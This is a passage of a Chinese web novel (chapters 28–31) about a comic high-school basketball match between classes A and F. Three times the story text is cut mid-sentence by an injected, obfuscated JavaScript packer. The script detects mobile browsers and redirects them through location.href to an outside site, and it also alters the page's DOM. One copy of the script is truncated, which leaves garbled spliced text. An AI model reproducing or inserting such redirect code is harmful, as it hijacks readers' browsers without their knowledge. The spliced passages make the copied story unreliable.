纪小鱼眉头一皱,阴阳怪气地反问道,“好啰,何教练~你不是很厉害吗?那你说说看,你有什么高见呢?” “小鱼,”何非亮眼睛弯了弯,侧下了一点身子,循循善诱道,“你看,你现在的定位像不像一个法师?” “法师?”纪小鱼大为不解。 “攻击力很强,是我们绝对的输出主力……” “嗯,没错!”纪小鱼勉强听进了“攻击力很强”这五个字,决定今天便暂且先给何非亮一点面子,听他怎么扯下去,“行,你继续说。” 何非亮笑了笑,话锋一转,“但释放技能需要读条,中途还不能被打断。这严重限制了我们小鱼法师的发挥,对吧?” “你想,我们的进攻时间只有二十四秒。而且持球的时间越长,球就越有可能被对手抢走。” “以我们目前的实力,硬防是防不住F班的。所以就算你和F班的同学拉开了一个相对较远的距离,又有队友帮忙防守,也很难支撑你现在投球需要的时间。毕竟,3米的距离,普通人也只需要不到1秒的时间就能追上了。” “所以,当务之急,就是要减少释放技能的时间。不然,这个技能再厉害,也会显得十分鸡肋。” 纪小鱼闷闷地不说话——好吧,确实是这样。 他沉默地看向何非亮,心里还是有一点小小的不服气。 就算你说得都对。这种事情,说快就能快的吗?——就好像,我没有把你打成扁的,是因为我不想吗?纯纯是因为我打不过……呸呸,我有素质罢了! 何非亮面对着纪小鱼投来的目光,眼尾一弯,“既然明确了目标,小鱼,你想啊,游戏里,法师一般要怎么减少释放技能的时间呢?” 纪小鱼看着何非亮,眨了眨眼睛,突然眉毛一垮,皱着鼻子歪着嘴,做出了一个十分痛苦、扭曲的表情。 “呃……”何非亮愣了愣,大概是被纪小鱼的这副模样丑到心坎里了,语气一时罕见地有了点波澜,“没、没关系的,小鱼,你就现在这个速度也很好了,我们再想别的办法,可以赢的。” “不是你问我法师怎么减少技能的冷却时间吗?那当然是买装备啊!”纪小鱼恶狠狠地指了指自己扭曲的脸,“你看,这个痛苦面具怎么样?” 【痛苦面具——王者里的经典法术装备,能够增加5%的冷却缩减,非常适合对面阵容比较肉的情况。】 何非亮:“……还行,看上去确实挺痛苦的。” “哈哈哈,”纪小鱼被自己逗乐了,终于恢复成了正常的笑脸,“行了行了,你快直说要怎么办吧。” “嗯……”何非亮一副欲言又止的样子,沉吟了一会,缓缓开口道,“你有没有想过也许可以提高智力?” 纪小鱼:“……” ヽ(#°Д?)?┌┛ 好,气,哦! 纪小鱼觉得这话横着听、竖着听都好像在嘲讽他。这一刻他失去了素质,从何非亮手中夺过篮球,咬牙切齿道,“何、非、亮!你这是什么意思?” “诶,”何非亮在一瞬间闪开到了离纪小鱼五米的距离,“有话好说,有话好说!” “哼!明明是你先挑事的!”火焰在身后熊熊燃烧,纪小鱼气急败坏地举着球瞄着何非亮,可是何非亮总是在他刚好瞄准的那一刻就闪现去了另一个位置。纪小鱼抓狂地喊道,“喂!有种你站着别动,看我不把你砸成一个扁的!” 何非亮:“呵呵。” 然而,令人惊奇的事情发生了,何非亮竟然真的站定不动了。 这么一来,纪小鱼反倒是愣住了。 何非亮笑了笑,“是吧,如果位置是固定的话……” 纪小鱼的手一僵。 对哦! 投篮的出手,对于纪小鱼来说,是一场高精度的计算。 哪有那么容易,要想、要算、要瞄、要调整、要对准……那么多的变量,除非—— 除非—— 控制变量! …… 如果我可以站在一个固定的位置,定点投篮…… 那么大量的数据,就可以从变量转换为定值…… 完全可以做到瞬发出手! …… 纪小鱼被自己想到的这个天才的想法震惊了。 而这一切,完全是他自己想出来的,和何非亮一点关系也没有。 啊哈哈哈哈哈哈! 下一秒,球挣开了道德的束缚,以一种猖狂的姿态,从纪小鱼手中飞出,在空气中接连擦出一串躁动的火星,如逐电追风、似流星赶月——目标,正是何非亮那张帅到欠扁的俊脸。 “接招吧,何非亮!” “好哦。”何非亮稳稳地接住了来势汹汹的球。 纪小鱼:“……”——呃,这么容易的吗? 何非亮持着球缓缓走近,一边眯起眼,朝纪小鱼的方向瞄了瞄,“然后呢,小鱼,换我了吗?” “啊不不不不!”不断逼近的压迫感让纪小鱼冷汗直冒,“我刚才就是开个玩笑……” 然而,说时迟、那时快,球已经朝自己的方向呼啸着飞了过来! “哇,不是吧!!!”纪小鱼一边本能地向后退,一边慌忙地架起胳膊,试图挡住自己的帅脸。 “嗒。” 预想的疼痛没有到来,纪小鱼愣愣地朝身后看去,只看到了滚落的篮球,和上方轻微晃动着的篮网。 哈?何非亮刚才那是顺手投了个篮? 一直站在旁边默默观摩的篮球队队员们齐声鼓掌。 “教练,”蒋小胖突然郑重地开口道,“我悟了!” “嗯?”何非亮已经走近到了纪小鱼的身前,他侧过脸,向站在身侧的蒋小胖问道,“你悟到什么了?” “那就是做人不要得意的太早!譬如,这球场上的战局,形式就是那么的瞬息万变,也许一方刚才还胜券在握,下一秒,另一方就掌握了可以打爆对面狗头的主动权……” 纪小鱼;“???”——蒋小胖同学是怎么突然悟到这个奇怪的道理的?啧,怎么感觉有哪里怪怪的?可恶,不会是在阴阳我吧! “嗯,小胖,真不错!”何非亮一脸赞许地点了点头。 “谢谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946613|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教练!”被夸奖了的蒋小胖脸上泛起了一丝忸怩的红晕,纠结了一下,终于还是不好意思地开口道,“那个……教练,你刚才说让我打辅助,但我想要多有一点存在感,可以吗?” “你会非常有存在感的。”何非亮保证道。 - 一节自由、充实、美好的体育课很快就过去了,同学们嘻嘻哈哈地走回教室。 “好久没上体育了!” “是啊,每次夏老师都说体育老师生病请假了。呃……真的是好烂的理由。我们体育老师可是有六块腹肌的男人诶!强壮得不行好吗?” “要我说,换课这招也太牛逼了吧?诶,体委、体委,这该不会是你想出来的吧?” 吕天明摆摆手,“那可不敢居功,这个机智的主意呢,是我们伟大的班长和副班长想出来的。” “哦~soga!班长大人想到的啊!好吧,那这个只能算是我们班长大人的正常发挥!” 这位小同学好像很自然地忽略掉了还有“副班长”这号人物。纪小鱼耳朵动了动,心里不由地浮起了点酸酸的不服气。 他不爽地瞄了一眼走在前面的何非亮,气鼓鼓地加快了回班的步伐——可恶的何非亮,我一定要比你先走进教室!我要成为体育课下课以后第一个走回教室的男人! 下定决心的纪小鱼脚步如飞地和何非亮擦肩而过。 然而,就在离教室门口近在咫尺之际,一只手突然按在了他的肩膀上。 “小鱼,别走那么快,你鞋带散了。” “啊?”纪小鱼下意识地低头看向自己鞋子。 真的诶,右脚的鞋带不知道什么时候散开了。 诶,不行,先进教室再说! 可就在刚才那么一愣神的瞬间,何非亮已经一晃经过了门框,大摇大摆地成为了第一个走进教室的人。 来、不、及、了…… 啊啊啊啊啊! 纪小鱼一阵抓狂。 好气啊! 何非亮这也太太太太太阴险了吧! …… “对了,体委,你们篮球赛准备的怎么样了?没记错的话下周一就要和F班打了吧?” “放心,”吕天明自信满满,“在班长的带领之下,我们已经初步形成了一个非常牛逼的作战计划了!” 风把吕天明和小同学的对话捎进了纪小鱼的耳朵里,纪小鱼在心里轻轻地“哼”了一声,脸上终于情不自禁地绽放出了一丝笑容。 是的,没错,在这个非常牛逼的作战计划里——他,纪小鱼,可是当之无愧的主角! - 第四节课的上课铃声打响。 夏老师夹着生物课本,风风火火地闯进了教室,大刺刺地宣布道,“体育老师生……了。” 洪亮的声音突然熄了火,夏老师尴尬地和站在讲台上的语文老师周婉大眼对小眼。 “夏老师,不好意思,”周老师抿嘴一笑,“我今天临时和体育老师换课了,现在这节课上语文呢。” “哦,好的好的。”夏老师有些局促地擦了一把额头上冒出来的汗。 还能怎么办呢?高考语文150分,生物100分,打不过打不过,溜了溜了…… 有诗为证: “来时行如风, 去时脚步匆。 体育变语文, 扑了一场空。” 29.第二十九章 等着瞧吧 “报告社长,三号机位准备就绪!” “报告社长,无人机准备就绪!” “很好!五号机稍微往后撤一点!”记者社社长卓影正一边拿着对讲机派头十足地指挥着,一边迅速调试着眼前按键繁杂的移动演播室设备。 一通操作下来,屏幕上终于按照预想,切出了全方位、多角度的直播画面。卓影紧绷的唇角这才放松了些许,流露出了一丝满意的笑容。 一切正如他的计划那样,一号机负责左边半场的篮筐,二、三号机负责左边半场的中景,四号机负责大全景,五号机负责中场,六号机负责特写,七、八号机负责右边半场的中景,九号机负责右边半场的篮筐,再加上一个无人机负责全景航拍。 完美! 而这样声势浩大、价值百万的豪华阵容,全部都是由他本人……呃,还有F班的篮球队队长陈典同学倾情赞助的。 “喂、喂,大屏幕准备好了吗?”陈典同学此时也拿着一个对讲机站在篮球场边“叭叭叭”中气十足地指挥着,“兄弟们,麻溜的!比赛还有十五分钟就要开始了!” “诶,A班的,别走别走!”正指挥得起劲的陈典眼看见吕天明一行人从身前走过,连忙把对讲机往身旁小弟的手上一塞,赶上去截住走在最前面的吕天明。 “呵呵,看到没?”陈典笑嘻嘻地指着操场上伫立着的巨大LED全彩户外显示屏,得意地朝吕天明显摆道,“那边那个屏幕,够大吧?哥赞助的!哥买的最贵、最高清的!一会你们的衰样,就会清晰无比地出现在那里,供全校同学观赏。现场直播!哈哈哈哈哈!” “不好意思,麻烦让让,别挡道。”吕天明一副懒得和陈典计较的模样,笑容宁静平和。 教练可是吩咐过了——大战之前须有静气,非宁静无以致远! “切,真没劲!”满脸写着寻衅滋事的陈典不死心,讨了个没趣后,目光一转,又把视线落到了吕天明身后的纪小鱼身上。 陈典眼睛一亮,“哎呦,你是那个……那个什么、小鱼仔?” 什么!? 小——鱼——仔!? 踏着BGM出场的纪小鱼眉头一皱。 什么来的? 我没听错吧? 纪小鱼发誓,这辈子还没有被人这么称呼过。 “小鱼仔,其实我还挺欣赏你的,不忍心看你误入歧途,要不我给你指条明路吧,”陈典虚握着拳,在自己的胸膛上锤了两下,“打不过我们就加入我们!认我做爹,我带你赢!” “我不要!”纪小鱼果断拒绝。 “真可惜,”陈典幽幽地叹了口气,“那小鱼仔就要变成小猪仔啰~” “我去!”纪小鱼头发都站起来了,“陈典你五行缺碘、影响到智力了吗?你以为你算哪根葱啊!诶,何非亮你别拦着我,我要和他打……” “小鱼小鱼乖,”何非亮一边温柔地顺毛安抚道,一边把就要扑上去和陈典干架的纪小鱼架走了,“一会让他输到哭。” “哼!” 纪小鱼瘪了瘪嘴,僵硬带刺的身体这才勉勉强强地软了下来。 好气哦! 等着瞧吧! - 大战进入倒计时。 紧张。 刺激。 尽管操场上已经有了超大的屏幕进行着现场直播,篮球场的周边依然被挤得水泄不通。 记者社的实习记者小王从人群中艰难地挤了进来,对交了巨额赞助费的陈典同学进行了赛前采访,“观众朋友们,我身旁的这位就是F班,呃……人见人爱、花见花开、器宇轩昂、神采飞扬(此处省略100字的彩虹屁)的篮球队队长陈典。陈典同学你好,请问你对本次的比赛有什么看法?” (没办法,他给的太多了^_^) “我怎么看不重要,”陈典自信满满的脸投在巨大的银屏上,“大家注意看我们是怎么把A班打趴下的就好了!” “那么——”随着小王记者拉长的声音,镜头切向球场的正中心,“让我们拭目以待吧!” 三—— 二—— 一—— 裁判开球。 F班的同学凭借着身高优势,一举截获了在空中被拍出的篮球,在队友的防守下,窜至篮底,一个螺旋飞跳——球进了! 开门红! 0:2! 场边掌声雷动,陈典更是狠狠地痛饮了一口热情金菠萝汁。 有种老父亲般的欣慰之情。 他花这么大的价钱,就是为了让全校同学睁大眼睛好好看看清楚——他们F班,怎么就不如A班了? 凭什么A班就可以被高高地捧在神坛、事事优先,而他们F班就总是要憋屈地被罚、被骂、被笑、被嘲? 就因为A班的人学习比较好吗? 切! 也不过就是学习罢了! 一边这么想着,另一边,F班的队员偷球成功,转身一个上篮,再进一球! 0:4! 太赞了!!! 虽然是意想之中,但陈典的眼眶还是有点发热。 然而,一转眼,却发现对面A班的何非亮,此时正优哉游哉地坐看着比赛,面上丝毫没有半点慌张的神色,反而显露出了一派镇定自若的气场。 奇了怪了! 为什么突然觉得事情并不简单? 嗯……待我去打探一番! 陈典大摇大摆地沿着球场边绕过去,不客气地直接在何非亮身边的空椅子上坐了下来。 “0比4,哦不……”又是一阵掌声响起,陈典笑眼眯眯,“0比6了!” “嗯。”何非亮不紧不慢地应了一声,“你们打得不错。” 嘿呦,你这…… 陈典一时有点凌乱,缓了缓,才开口道,“哈……那你觉得,你们打得怎么样?” 何非亮竖起三根手指。 陈典:“什么意思?” 下一秒,何非亮的三根手指收回为两根。 继而是一根。 何非亮凝望向球场,眼底倒映出天光云影,和一抹近乎温柔的浅笑。 陈典顺着何非亮的目光望去,只看见纪小鱼穿着写着1号的深蓝色篮球服,持着球闪转腾挪、然后高高跃起。 何非亮勾唇,“啪嗒”一声打了个响指。 下一瞬,身后变成了欢腾的海洋。 三分球! 全场第一个三分球! 3:6! 陈典呆了一下,随及不以为意地笑了,“切,不就是一个三分球吗?这有什么!运气好罢了!只可惜,运气,在真正的实力面前,根本不值得一提!” 何非亮:“你说得对。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958429|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈典:“……” 然而,第一节快结束的时候,陈典已经有点坐不住了。 以至于在纪小鱼压着哨声,再次投进一个三分球时,陈典在一片喧闹的欢呼声中,直接气得站了起来,“防守啊!兄弟们!防住那个小鱼仔啊!” 15:13! 篮球赛第一节结束! A班除开张思源射中一颗罚球、吕天明投进一颗篮底两分球以外,竟然全靠纪小鱼酷炫地一连射中了四颗三分球,赶超了F班。 三分球永远是最能点燃人心的,更何况是以如此霸道到百发百中的姿态。 现场的观众在看向纪小鱼的目光里,已经隐隐有了爱心闪烁。 “切!别得意得太早!”陈典狠狠地攥紧了拳头,“下一节,我会出手!” 何非亮朝旁边的蒋小胖递了一个眼神,“下一节你上。” “好嘞!”蒋小胖一副跃跃欲试的样子。 “嗯?”陈典右眼皮跳了跳,忍不住回头多注意了蒋小胖几眼。 蒋小胖回应了一个人畜无害的笑脸。 - 趁着两分钟的休息时间,大屏幕上见缝插针地插播上了记者社招新的广告,并打出了二维码,现场扫码入社,前一百名可获得“?何非亮八卦一份?”。 什么!? 一时间,操场上全是争先恐后举起手机的手。 仿佛有明星出街,周围全是蜂拥围着拍照的狂热粉丝。 谁能想到他们只是在扫码。 纪小鱼拿起准备好的毛巾擦了把汗,“诶?何非亮,你什么八卦啊?我手机呢?” 话音刚落,就听到旁边女生一声极具穿透力的尖叫,“啊啊啊啊啊!何非亮原来喜欢文艺范的!” “啊?”纪小鱼瞪大了眼睛,问当事人何非亮,“真的吗?” 何非亮还没来得及开口,操场的另一端又响起了另一声势如排山倒海的的惊叫,“啊啊啊啊啊!我懂了!何非亮喜欢甜甜!” 纪小鱼紧张地发问,“甜甜是谁!” 何非亮无辜地看着纪小鱼,“我不认识。” “啥情况?”纪小鱼眨了眨眼睛,凭借着球场上刚充的魅力值,成功要到了刚才身旁尖叫女生的手机,一字一句地对着屏幕念出了上面写着的八卦内容,“何非亮喜欢的类型,就藏在诗里——‘心如江南莲,莲叶何甜甜。’?(^_-)” “什么乱七八糟的。”纪小鱼低头琢磨了一会,小声嘟囔道,“记者社就喜欢玩这些故弄玄虚的东西,像诈骗一样。” “就是啊。”何非亮无奈地应道,沉浮的目光陡然变得锐利,朝操场的边沿剜了一眼。 正在兢兢业业做着导播工作的卓影突然打了个寒颤,自言自语道,“哎呦,今天好像降温了啊,怎么感觉后背凉飕飕的……” “诶,何非亮,刚才那句诗改编自《小学生必背古诗70首》的第一首吧?江南可采莲,莲叶何田田……” “别瞎琢磨了。”何非亮在纪小鱼后脑勺上轻轻拍了一掌,“还要不要打球了?” 而F班的篮球队队员,显然无暇关注这些,而是召开起了紧急会议。 “大家,盯住那个小鱼仔!全力以赴防住他!” “还有,留意那个小胖子!” “他必有阴谋!” …… 30.第三十章 不可抗力 哨声吹响,篮球赛进入第二节。 F班队员谨记着队长的教诲,从一开始就对A班的1号球员纪小鱼进行了严防死守的围剿。 纪小鱼好不容易才历经艰险拿到了球,当机立断一个跳投。 “还想三分?做梦!” 升在半空的球竟然被飞身跃起的陈典“啪”的一掌拍飞了! 喂,有没有礼貌啊! 可不可以稍微尊重一下别人的梦想啊! 纪小鱼目瞪口呆,眼看着被截杀的球被F班的队员眼疾手快地捞起,配合着几个默契的传球接力,稳稳落入了高喊着“球传给我”的蒋小胖手里。 蒋小胖咧嘴一笑,“小鱼,接着!” 命运就是这么的兜兜转转,球再次传回到了纪小鱼手里。 啊这……那我就不客气了!!! 纪小鱼脑海里来不及打出问号,再次快、准、狠地瞄准起跳——这次,球总算是毫无阻拦地稳稳撞入了篮心! 比分刷新至18:13! “好险!好险!”纪小鱼悬着的一口气终于呼出。 陈典暴跳如雷,“不是吧?你们把球传给对面的小胖子是几个意思???” “嘤嘤嘤,老大,是他让我传给他的,我一紧张就照做了……” “唉,算了!一会都睁大眼睛看清楚了!把球都传给我!明白了吗?” “是,老大!” 一番厮杀以后,球权终于又到了F班队员手里,他乖乖地把球传给了队长陈典。 陈典依靠着坚实的肌肉力量,蛮横地冲开了A班的层层防守,眼看就要运球过半场了,突然听到身后传来了一道粗犷的歌声。 “猪,你的鼻子有两个孔……[1]” 哎呀,好难听啊! 多好的一首歌唱成这样! 陈典皱着眉头向身后怒视了一眼,只见蒋小胖正一边开心地唱着歌,一边对着观众朋友们笨拙地左摇右摆。 陈典在心里摇头——这舞跳得也很难看! 比我差远了! 遥想那天,我在操场上跳的热情尊巴,那简直就像在全校同学的心中纵火…… 正这么想着,陈典突然觉得手里一空,大惊地回过神来。 诶,球呢……球不见了!? 徐帆运着偷来的球狂奔了几步,赶忙把球传给了已经在篮边等候多时的吕天明。 F班的队员连忙赶来回防,但已经来不及了。 吕天明干脆利落地来了个一步上篮! 20:13! 欢呼声中,荧屏上极具科技感地慢动作回放出了刚才的一幕。 只见A班的徐帆矮着身子,就像一只低着头潜藏在阴影里伺机而动的黑猫,已经蛰伏很久了。他身量比较瘦小,在球场上并不显眼,不动声色地接近陈典时并没有引起什么关注。而在陈典注意力被分散的那一刻,他敏锐地抓住了时机,动如闪电,来了一个干净利落的抢断! “这……”陈典气晕了,“你们刚才怎么不提醒我,都看着那个小胖子干什么!” “嘤嘤嘤,队长,是你让我们留意他的……” “我们怕那个小胖子有什么阴谋……” …… 篮球赛第二节最终以27:15落下帷幕。 F班第二节爆冷,只拿了2分。原因大概是——心态崩了。 第二节与第三节之间有15分钟的中场休息时间,身材热辣的街舞社同学迅速涌出占据了球场,而篮球队的比赛选手则回到了选手席进行短暂的修整。 欢快动感的爆炸音乐响起,却有人独成一个世界一般,笼罩在颓废而沮丧的阴云之下,显得更加的低落、狼狈了。 F班的大个子们低着头,像做错事的小学生一般并排站着,一副蔫巴巴的样子。 陈典紧盯着电子计分板上鲜红到有些刺眼的数字,又看向了自己一个个垂头丧气的队员们,抿紧的唇显露出了一丝坚毅倔强的弧度。 “兄弟们,A、B、C、D、E、F,我们F班的F,代表的是最烂的那个F吗?” 问话的语气格外郑重,众人皆是一愣,就连路过打算去趟洗手间的纪小鱼也不由地停下了脚步。 陈典继续问道,“代表的是废物的废(fèi)吗?” 没人敢吱声。 陈典紧盯着噤若寒蝉的队员们,一声一声、不依不饶地追问道,“还是Failure的F(fī)?” 仿佛重锤敲击在心扉,F班的队员眼神一黯,却又闪动出不甘。 “不!”陈典掷地有声地说道,“这个F,代表的是Fighter的F(fāi)!都打起精神来,比赛才刚刚开始!谁都不许先认输!” “队长……”F班的队员们灰暗的眼睛里,光芒一点点亮起,如星星之火,如燎原之光,点燃斗志,一扫倾颓。 几只手交叠在一起,“我们是Fighter!!!” 太热血了! 就连纪小鱼也被他们深深地打动了。 陈典继续着他滔滔不绝的演讲,“至于他们A班的A,则是Abandon的A!大家一起跟我念,Abandon……” F班众人:“A班等~” 纪小鱼:“……” 喂!可不可以不要拉踩啊#[○?`Д?? ○]#! - 第三节的哨声吹响。 F班火力全开。 谁都知道,比赛已经到了拼尽全力的时刻。 它可以是黎明前的至暗,也可以是锁定胜利的号角。 几个你来我往的激烈争端之下,A班的卢浩云和吕天明各自险中一球,而F班则依靠着身高和经验的优势,不断冲击内线、抢断反击,陈典更是手感火热,一连命中了两个篮板球和一个三分球。 沉寂已久的F班阵营被再度引燃,爆发出阵阵欢呼,比分很快就刷新到了31:27! 眼看着战斗已经到了白热化的阶段,A班却越来越趋于被压着打的地步。 更加雪上加霜的是,蒋小胖一个传球失误,球又来到了陈典手里。 呵,这就叫做风水轮流转! 拿到球的陈典顿时感到“天助我也”,面对篮筐不进反退,堪堪退到了三分线外,然后一个华丽地起跳——这是想又来一个三分呐! 只不过,这次这个三分有点悬,球惯会博人眼球一般地在篮筐的边缘弹啊弹,把所有人的心都吊在了嗓子眼。 “进!进!进!”F班的同学在心里巴望着。 “不进!不进!不进!”A班的同学也在心里呐喊着。 这球必不会进! 纪小鱼根据力学原理,自信满满地作出推断。 屏息凝神间,突如其然刮来一阵邪风,篮球凭着风力被送入了篮网。 31:30! 诶、诶、诶,不是吧?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969177|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 有没有搞错啊! 哪里来的妖风? 纪小鱼不敢相信地回头往风源处望去—— 只见篮球场的边沿不知道啥时候已经腾出了一块空地,一个巨大黑色铁皮风扇正摆放在那里,扭着头“呼啦啦”地科技造风,风力的强劲程度堪比一场小型的飓风,绝对是足以在风扇界中称王称霸的水平。 纪小鱼惊呆了。 这……这是什么操作! 超级风扇后侧,一个戴着墨镜的美少女正翘着腿坐在沙滩椅上,好整以暇地把玩着手里的风扇遥控器,殷红的唇角勾起一抹看热闹不嫌事大的冷笑。 “嘀。”风扇暂停了下来。 风止浪息。 乔冬冬把墨镜往下拉了一点,充满挑衅的眼神毫不掩饰地落在了纪小鱼身上。 “裁判!裁判!”纪小鱼指着风扇找裁判评理,“这算不算犯规?” “不算!”来自高二D班的小裁判把头摇得跟拨浪鼓似的,“我们这种室外篮球场,有没有风,那个叫做……呃,不可抗力!这和犯不犯规有什么关系!” 纪小鱼据理力争:“当然有关系!这个风是……” “咦?不尊重裁判,记一次技术犯规!F班的,过来射一个罚球。” F班当然不会放过这个天上掉下来的好机会! 31:31! 双方战平! 啊啊啊啊啊啊! 纪小鱼咬牙切齿。 不行,一定要守住胜利! “球给我!球给我!” 纪小鱼接过吕天明传来的球,以一副谁敢拦着就咬谁的姿态,豁出去了一般勇闯过F班的防守线,夹带着雷霆霹雳之势起跳投射。 球沿着一道绝对完美的抛物线轨迹升起下落,然而,就在快接触到篮网时,篮球场间骤然天昏地暗、飞沙走石—— 退、退、退! 乔冬冬再次发动技能【吹飞】,把纪小鱼就要落网的球残忍地从篮筐的边沿吹了出去。 纪小鱼一时被沙子迷了眼睛,怔怔地几乎要落下泪来。 姐,你好狠呐! 乔冬冬“嘀”地一声关掉了风扇,朝纪小鱼扬了扬手里的遥控器,嘴唇不怀好意地翘了翘。 把一切都尽收眼底的卓影也只能在心底为纪小鱼默哀——谁叫姑奶奶一向是这样睚眦必报的性格呢?你躲得过初一,躲不过十五啊! 好在她还残存着一点不多的公德心,在之后的比赛里,乔冬冬很明显地只针对纪小鱼,并没有过多地为难A班的其他同学。 只是,在缺少了纪小鱼这个绝对主力的加持之下,A班的攻势终于还是从疲软,滑落至了愈加无力的深渊。 比分最终停留在了33:41! 小裁判把头撇向一边,惬意地吹响了第三节结束的哨声。 “喂!”在第三节里吃了零蛋的纪小鱼一个箭步冲向何非亮,气冲冲地叫囔道,“你看到了没有!他们欺负人!” “如果你没看到,那是你瞎!如果你看到了,那他们都这样了,你怎么一点存在感都没有!”纪小鱼对着何非亮骂骂咧咧,“你有什么用哦?” 何非亮不紧不慢地摁熄了手里的手机屏幕,把手机放回口袋,纪小鱼看见了,更是气不打一处来,“好哇,何非亮,你刚才不会一直坐在这里玩手机吧?” “我真是……我真是要被你气死了!”纪小鱼怒气值+1+1+1…… 31.第三十一章 我要打球 “没玩,就下了个APP,网有点慢。”何非亮无奈地起身,若有所思的目光在乔冬冬身上滑了一眼,又落回到了纪小鱼脸上,“小鱼,别气了,等会还要打第四节呢,先抓紧时间休息一会。” “呵,谁说我要打第四节的,”纪小鱼抱着臂把头扭向一边,“我不打了!” “哦?”何非亮微低着头沉吟了一会,“也行。” “我……!?”纪小鱼欲言又止,却在下一秒钟迎来了瞳孔地震。 只见何非亮一把拉下校服外套银闪闪的拉链,露出了里面深蓝色的篮球服。 号码竟然是比自己的1号还要往前一位的0号! “小鱼,”何非亮扶着纪小鱼的肩膀,把他摁在了候场的座位上,“你就坐着看我表演就好。” “教练威武!!!”看见何非亮要亲自出马,A班的篮球队员们除纪小鱼外皆是士气大振,突然就油然而生了一种“天不怕地不怕,整个球场我最辣”的底气。 “我……”纪小鱼刚想起身,却被何非亮一根手指轻飘飘地点在了额间,顿时感觉身上无形中多了一座五行大山。 诶诶诶,我去! 何非亮这也太太太太太卑鄙了吧! 众所周知,人坐着的时候,被摁住了额头,重心受制,就很难起来了。 只是,纪小鱼万万没想到,有朝一日,自己也会被这种幼儿园就知道了的小伎俩、被这种卑鄙无耻的小伎俩……嘿呀,好气啊,根本找不到词来描述了! 纪小鱼张牙舞爪,并没有放弃挣扎。 大家对此却是视若无睹。 “教练,”蒋小胖好奇地问道,“你下了个什么APP啊?” “等会你就知道了。”何非亮一副神神秘秘的样子。噫~八成是有什么见不得人的勾当! 吕天明甚至还和卢浩云开起了玩笑,“诶,谁上次自我介绍说‘我灌篮高手’来着?一会多灌几个啊!别不好意思。” “队长,”卢浩云老脸一红,“我说的那是——“我,灌篮高手的铁杆粉丝”,只不过后面几个字说得比较小声罢了。” “哈哈哈哈哈哈!” 一时众人言笑晏晏,只剩了纪小鱼独自在心中涕泪涟涟。 热闹是他们的,我什么也没有。 哦,其实我有,我有一点话想说。 小胖,天明,还有其他的诸位朋友们—— 你们好狠呐! 我把你们当兄弟,你们把我当空气! 何非亮有什么好? 我在球场上卖力,他在球场边看戏! 不,如果你们以为我要的是一份同情,那就大错特错、错得离谱了! 我要的是一个证明! 纪小鱼用力地挺起胸膛,镶着金边的球服号码在阳光下熠熠生辉,那是纪小鱼毫不犹豫抢注的号码! 我才是1号,代表第一名的1号! 至于何非亮的0号,那是拿零分的……唉,算了算了!另一个扇着天使翅膀的纪小小鱼飞过来,提醒他——不要拉踩!?(?*ˊ?ˋ)?* 于是,就事论事,下一秒,整个球场都回荡起纪小鱼的呐喊,“我——要——装——逼!” “啊不!” “我——要——打——球!” 纪小鱼总算是吸引到了大家的注意力,众人皆是一愣,何非亮指尖传来的力道也一松。 纪小鱼趁机站了起来,气势汹汹地瞪着何非亮,斗志在眼底熊熊燃烧。 呵呵,何非亮,你休想抢我风头! 第四节,我是非上不可! “诶?”何非亮面对着突然变得咄咄逼人的纪小鱼,依然是一副要笑不笑的样子,“你不是说不打了吗?” “我说的是不打了才怪!”纪小鱼从卢浩云身上获得了灵感,“只不过后面两个字比较小声罢了。” - 裁判的哨声响起,这次,终于到了最扣人心弦的第四节! 十分钟倒计时——开始! 10 mins,不过是秒针在它狭小的领地里巡逻个十圈的工夫,小胖的数学第一道大题大概还没来得及有思路,张校长的演讲可能才开了个头,却能决定谁将在操场上当着全校同学的面一边蛙跳,一边发出耻辱的猪叫。 F班的篮球队员凭借着魁梧的身材组成了如山一般巍峨的防线,对于他们来说,只要守住优势,就能笑到最后。 汗水跌落在球场,也像是在倒计时。 每一秒钟好像都“滴答滴答”地走在每一个同学的心上。 时间并不会因此变快,但心跳也许会。 抢攻、联防、切入、截断…… 跌宕起伏间,球场上的观众都觉得心脏快有点受不了——一半是因为比赛太过刺激,另一半是因为……何非亮太帅了! 初次登场的何非亮如同斩断黑夜的利剑,强横地切开了F班看似坚不可摧的防线。在球场上他仿佛天生的刺客,乘风踏月,一剑霜寒,且无法选中。 可就在众人都以为何非亮会以这般华丽的姿态完成上篮得分时,何非亮手里的球竟然被——抢走了! “!!!” “???” 一片不约而同的抽吸之下,大屏幕上很及时地回放出了纪小鱼状似狂犬一般夺球跑路的慢动作画面。 